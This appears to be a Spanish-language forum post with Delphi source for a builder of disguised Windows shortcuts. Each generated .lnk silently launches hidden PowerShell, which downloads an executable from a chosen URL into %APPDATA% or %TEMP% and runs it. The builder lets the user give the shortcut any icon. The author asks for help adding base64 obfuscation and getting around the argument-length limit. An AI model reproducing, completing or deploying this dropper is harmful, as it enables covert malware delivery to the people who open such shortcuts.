falta codificar los argumentos con base64
tengo problemas con los 260 caracteres
y desconozco la powershell ,
nit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ImgList, ExtCtrls, ActiveX,ShlObj, ComObj,shellapi,unit2;
type
TForm1 = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
ComboBox1: TComboBox;
Label1: TLabel;
Label2: TLabel;
ImageList1: TImageList;
ComboBox2: TComboBox;
Button1: TButton;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
SaveDialog1: TSaveDialog;
OpenDialog1: TOpenDialog;
Button2: TButton;
Button3: TButton;
Edit3: TEdit;
Label6: TLabel;
Panel1: TPanel;
Image1: TImage;
CheckBox1: TCheckBox;
Button4: TButton;
Edit4: TEdit;
Label7: TLabel;
Label8: TLabel;
procedure Button2Click(Sender: TObject);
procedure ComboBox2DrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
procedure Button1Click(Sender: TObject);
procedure ComboBox2Change(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure CheckBox1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Label8Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
{ Getting the System Directory }
function SystemDir: string;
var
dir: array [0..MAX_PATH] of Char;
begin
GetSystemDirectory(dir, MAX_PATH);
Result := StrPas(dir);
end;
//temp
function GetTempDir: string;
var
Buffer: array[0..MAX_PATH] of Char;
begin
GetTempPath(SizeOf(Buffer) - 1, Buffer);
Result := StrPas(Buffer);
end;
//user datos de programa
function getUserPath:string;
var pathString:array[0..1023] of char;
begin
ShGetSpecialFolderPath(0,PChar(@pathString),CSIDL_APPDATA,false);
result:=pathString;
end;
//O MAS FACIL
//GetEnvironmentVariable('appdata') ;
function CreateDesktopShellLink(): Boolean;
var
e:integer;
COPYTO:STRING ;
NAME:STRING;
arg, arg1,arg2:string;
IObject: IUnknown;
ISLink: IShellLink;
IPFile: IPersistFile;
url:string;
// path:string;
LinkName: widestring;
TargetName : String;
begin
//codifico a base64 la url
url:=encode64(form1.edit1.text);
Result := False;
IObject := CreateComObject(CLSID_ShellLink);
ISLink := IObject as IShellLink;
IPFile := IObject as IPersistFile;
with ISLink do
begin
if form1.combobox1.text='APPDATA' THEN
copyto:='%APPDATA%';
if form1.combobox1.text= 'TEMP' then
COPYTO:='%TEMP%';
name:=form1.edit2.text;
targetname := systemdir+'\WindowsPowerShell\v1.0\powershell.exe';
arg1:= '-windowstyle hidden (new-object System.Net.WebClient).DownloadFile('''+form1.edit1.text+''','''+copyto+'\'+name+'.exe'''+'); Start-Process "'+copyto+'\'+name+'.exe"';
SetPath(PChar(TargetName)); //la ubicacion de powershell
//SetWorkingDirectory(PChar(ExtractFilePath(TargetName))); //muestra path al archivo targetname
// SetArguments(PChar(Arg+arg1));
SetArguments(PansiChar(arg1));
SetDescription('');
if form1.checkbox1.checked then begin
seticonLocation (pchar(form1.edit4.text),0);
end
else
begin
e:=strtoint(form1.combobox2.text);
setIconLocation(pchar(systemdir+'\shell32.dll'),e)
end;
LinkName := form1.edit3.text + '.lnk';
if not FileExists(LinkName) then //comprobar el nombre a guardar
//if IPFile.Save(PWideChar(LinkName), False) = S_OK then
if IPFile.Save(PWChar(LinkName), False) = S_OK then
Result := True;
end;
end;
procedure TForm1.ComboBox2Change(Sender: TObject);
var
iconos:ticon;
index:integer;
begin
Image1.Picture:=nil;
iconos := TIcon.Create;
index:=strtoint(combobox2.Text);
try
iconos.Handle := ExtractIcon(hInstance, 'shell32.dll', index);
Image1.Picture.Bitmap.Width := iconos.Width;
Image1.Picture.Bitmap.Height := iconos.Height;
Image1.Picture.Bitmap.Canvas.Draw(0,0,iconos);
finally
iconos.free ;
end;
label5.Caption:=combobox2.Text;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
if edit1.Text='' then begin
showmessage('no selecciono direcion url');
exit;
end;
if edit2.text='' then begin
showmessage('no renombro ejecutable de la descarga ');
exit;
end;
if edit3.text='' then begin
showmessage('no selecciono donde guardar el archivo resultante' );
exit;
end;
if CreateDesktopShellLink then
ShowMessage('acceso directo creado.')
else
showmessage('caramba ,hubo un error!');
end;
procedure TForm1.ComboBox2DrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
var
AnIcon : TIcon;
begin
AnIcon := TIcon.Create;
try
form1.ImageList1.GetIcon (Index,AnIcon);
with Control as TComboBox do begin
Canvas.Draw (Rect.Left,Rect.Top,AnIcon);
Canvas.TextOut (Rect.Left + form1.ImageList1.Width,Rect.Top,Items[Index]);
end;
finally
AnIcon.Free;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
icon: TIcon;
i:integer;
begin
imagelist1.Clear ;
icon := TIcon.Create;
try
for i:=0 to 237 do begin
icon.Handle:=(ExtractIcon(hInstance, 'shell32.dll', i));
imagelist1.addicon(icon);
end;
finally
icon.Free;
form1.ComboBox2.Items.Clear;
for i := 0 to ImageList1.Count-1 do begin
form1.ComboBox2.Items.Add(IntToStr(i));
end;
end;
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
if savedialog1.Execute then
edit3.Text:=savedialog1.FileName+'.ink';
end;
procedure TForm1.Button4Click(Sender: TObject);
var
icon:ticon;
Indice: word;
begin
image1.Picture:=nil;
if opendialog1.execute then
edit4.Text:=opendialog1.FileName;
Icon := TIcon.Create;
{Indice del icono a extraer}
Indice := 0;
Icon.handle := ExtractAssociatedIcon(hInstance, Pchar(edit4.text), Indice);
Image1.Picture.Bitmap.Width := Icon.Width;
Image1.Picture.Bitmap.Height := Icon.Height;
Image1.Picture.Bitmap.Canvas.Draw(0, 0, Icon);
Icon.Free;
if image1.Picture=nil then
showmessage ('no se puede extraer el icono');
end;
procedure TForm1.CheckBox1Click(Sender: TObject);
begin
if checkbox1.checked then begin
image1.Picture:= nil;
combobox2.Clear;
button1.enabled:=false;
button4.enabled:=true;
end
else
begin
edit4.Text:='';
image1.Picture:= nil;
button1.enabled:=true;
button4.enabled:=false;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
button4.enabled:=false;
end;
procedure TForm1.Label8Click(Sender: TObject);
begin
showmessage('los accesos directos no almacenan iconos'+#13#10+
' solo las rutas a esos iconos,'#13#10+
' tenelo en cuenta al enviar a otra pc');
end;
end.
precaucion ver el codigo escrito asi ,puede causar que vomiten tus ojos